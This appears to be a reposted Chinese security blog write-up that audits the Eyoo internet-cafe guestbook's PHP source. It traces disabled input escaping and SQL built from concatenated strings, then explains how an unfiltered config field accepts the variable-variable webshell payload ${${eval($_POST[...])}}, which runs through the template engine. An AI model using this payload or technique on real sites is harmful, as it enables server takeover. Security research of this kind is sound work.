网站地图    收藏   

主页 > 后端 > 网站安全 >

浅析易游留言本漏洞 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 0times;01 缘起家附近的网吧的桌面上几乎都有一个顾客留言快捷方式,于是秉着好奇的心态想看看,看能否以最快的速度拿到Webshell。0times;02 知己知彼分析一款源码,首先当然是将其环境...

0×01 缘起
家附近的网吧的桌面上几乎都有一个“顾客留言”快捷方式,于是秉着好奇的心态想看看,看能否以最快的速度拿到Webshell。
 
0×02 知己知彼
分析一款源码,首先当然是将其环境架设好,baidu出易游官方(http://bbs.stnts.com/)页面才发现其是像网众科技一样,是一个给网吧客户提供无盘解决方案的公司。将其源码包下下来却很出乎我的意料,是一套类似DeDeAPMz套件的东西,而其Web服务选择的是Nginx。其目录结构大体如下:
 
code
\—EyooBoard
    +—cache
    |   \—message
    |       +—comic
    |       +—default
    |       +—music
    |       +—tuya
    |       \—undefined
    +—include
    |   +—class
    |   \—data
    +—module
    |   \—message
    +—templates
    |   \—default
    +—themes
    |   +—comic
    |   |   +—images
    |   |   +—javascript
    |   |   \—style
    |   \—default
    |       +—images
    |       |   \—face
    |       +—javascript
    |       \—style
    |           \—images
    \—uploadROOT目录下就只有index.php,为了最快的找到漏洞,当然首先是从后台看起,因为一旦管理员存在弱口令的话,能轻易在后台拿到Webshell,如果没有也没关系,至少要清楚的了解到它的验证方式。
Index.php首先将我引到了include/common.inc.php ,其部分代码如下:
 
code
//针对sqlite的转义
ini_set('magic_quotes_sybase','On');
 
//对用户传入的变量进行Addslash操作
/*if (!get_magic_quotes_gpc()) {
    function addslashes_deep($value) {
        $value = is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
        return $value;
    }
    $_POST      = array_map('addslashes_deep', $_POST);
    $_GET       = array_map('addslashes_deep', $_GET);
    $_COOKIE    = array_map('addslashes_deep', $_COOKIE);
    $_REQUEST   = array_map('addslashes_deep', $_REQUEST);
}*/可以看到它的注释说对Sqlite进行了转义,通常的流行组合都是PHP+MySQL这倒很有意思了.虽然他使用ini_set开启了自动转义,但在某些情况也是能注入的,比如很常见的在搜索的代码中,很多程序员喜欢对关键字进行urlencode()处理,而这时是不会受到自动转义的影响的,而且下文的转义函数也被人为的注释掉了。
既然是SQLite,那一定是像Access一样的本地库了,马上转移战场在include下发现了Data目录,其中就安静的躺着Message.db,对于SQLite数据库的浏览网上有很多工具,我推荐的是Multi DataBrowser,它通过配置后能支持多种数据库的浏览。
 
0×03 进一步扩大战场
来到Login,还是顺便看下吧,部分代码如下:
 
code
case "auth":
        $username = strtolower(post('username'));
        $password = post('password');
        $code = post("code");
        if($code!=$_SESSION["validationcode"])
        {
            echo "CE";//Code Error 验证码错误
            exit;
        }
        $info = $db->SelectS("select id,password from systemuser where username='".$username."'",1);
        if(is_array($info)) {
            if($info["password"]==md5($password)) {
             $db->query("update systemuser set lasttime=".time()." where username='".$username."'");
             $_SESSION["___isadmin"] = $info['id'];
            echo 'S';//Success 登录成功
                //msg("登录成功", "index.php?mod=message&act=manage&do=set");
            }
            else {
             echo 'PE';//Password Error 密码错误www.2cto.com
            }
        }参数传入的地方都用单引号限定了,抛开ini_set还是没办法注入的,拿到从DB中找到的密码可以直接登录。
我们知道,从后台GetShell的方法之一就写配置文件。但是我们首先得找到其配置文件的位置。从manage.inc.php找到
 
code
……
$filename = "include/data/configure.data.php"
…… 省略无关代码
 
……
case "setsave":
     $op = post('op');
     switch($op) {
      case 'system':
       $configcache = array (
     'pagesize'=>post("pagesize") ? post("pagesize") : $CONFIGURE["pagesize"],
        'board_pagesize'=>post("board_pagesize") ? post("board_pagesize") : $CONFIGURE["board_pagesize"],
     'title'=>post("title") ? post("title") : $CONFIGURE["title"],
     'filter'=>post("filter") ? explode("|",post("filter")) : "",
     'weathercityno'=>post("city"),      
        'ipInterval'=>post("ipInterval"),  
     'ischeck'=>$CONFIGURE["ischeck"],
     'systemuser'=>$CONFIGURE["systemuser"],
     'tp'=>$CONFIGURE['tp']
    );
       if ((post("city"))) {
     //如果无city            
     WriteJsWeatherCache(post("city"));//重新生成天气js
     //jsfun("设置成功","?mod=message","top");
    }
    else {
     $configcache['weathercityno'] = $CONFIGURE['weathercityno'];
    }
      break;
……再来看看include/data/configure.data.php的内容,$CONFIGURE=array 被定义成了一个数组,所有的值都存到了这个数组中。回顾manage.inc.php总的内容,在POST取值之后没有做任何过滤就直接赋值到了$CONFIGURE数组当中,于是我邪恶了。
 
0×04 GetShell
通常在ASP的后台中,我们都是闭合单引号之后写入一句话来拿Webshell的。这里情况比较特殊,如果我们直接写eval($_POST[cmd])进去是无法执行的。联想到茄子大牛前段时间发布不久的《浅谈PHP可变变量安全》,感谢PHP的编程特性给了我们机会更加邪恶的一把。构造类似${${eval($_POST[fuck])}}的可变变量写入数组发现eval语句是可以被执行的(具体可参考《浅谈PHP可变变量安全》)。那么接下来只要找到被调用的地方就可以了。回想ASP环境下的利用手法,一定直接访问类似config.asp的文件就是一句话马的地址了,可是很不幸看到configure.data.php中有如下内容
if(!defined(‘IN_SITE’)) exit(‘Access Denied’)
很常见的防止直接访问,不够要突破也很简单,随便找读取$CONFIGURE数组的地方就可以了。进一步读代码发现,其是类似MVC的架构,在templates\default\top.htm中找到如下内容
 
code
<h1><a ref="index.php" title="{$CONFIGURE["title"]}">{$CONFIGURE["title"]}</a></h1>虽然是html标签,但在模板引擎编译的过程中,$CONFIGURE数组的代码已经执行了。
很显然直接访问到index.php就能使eval函数接受到值了,并且很有效的绕过了防止直接访问脚本文件的限制。
 
0×05 后记
搞定目标后,重新Google了一下,发现网上已经有牛人给出拿Webshell的方法了。这里也有一个小小的失误,在渗透测试的过程中,已知目标Web程序的情况下,应该优先利用已存在的漏洞进行测试的,不过在深入读代码的过程中也让自己收获不少。
其实本套系统中还有很多有意思的地方,小弟白盒经验尚浅,还需要多和各位同学多多交流

摘自 DarkRay's BLoG.!

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论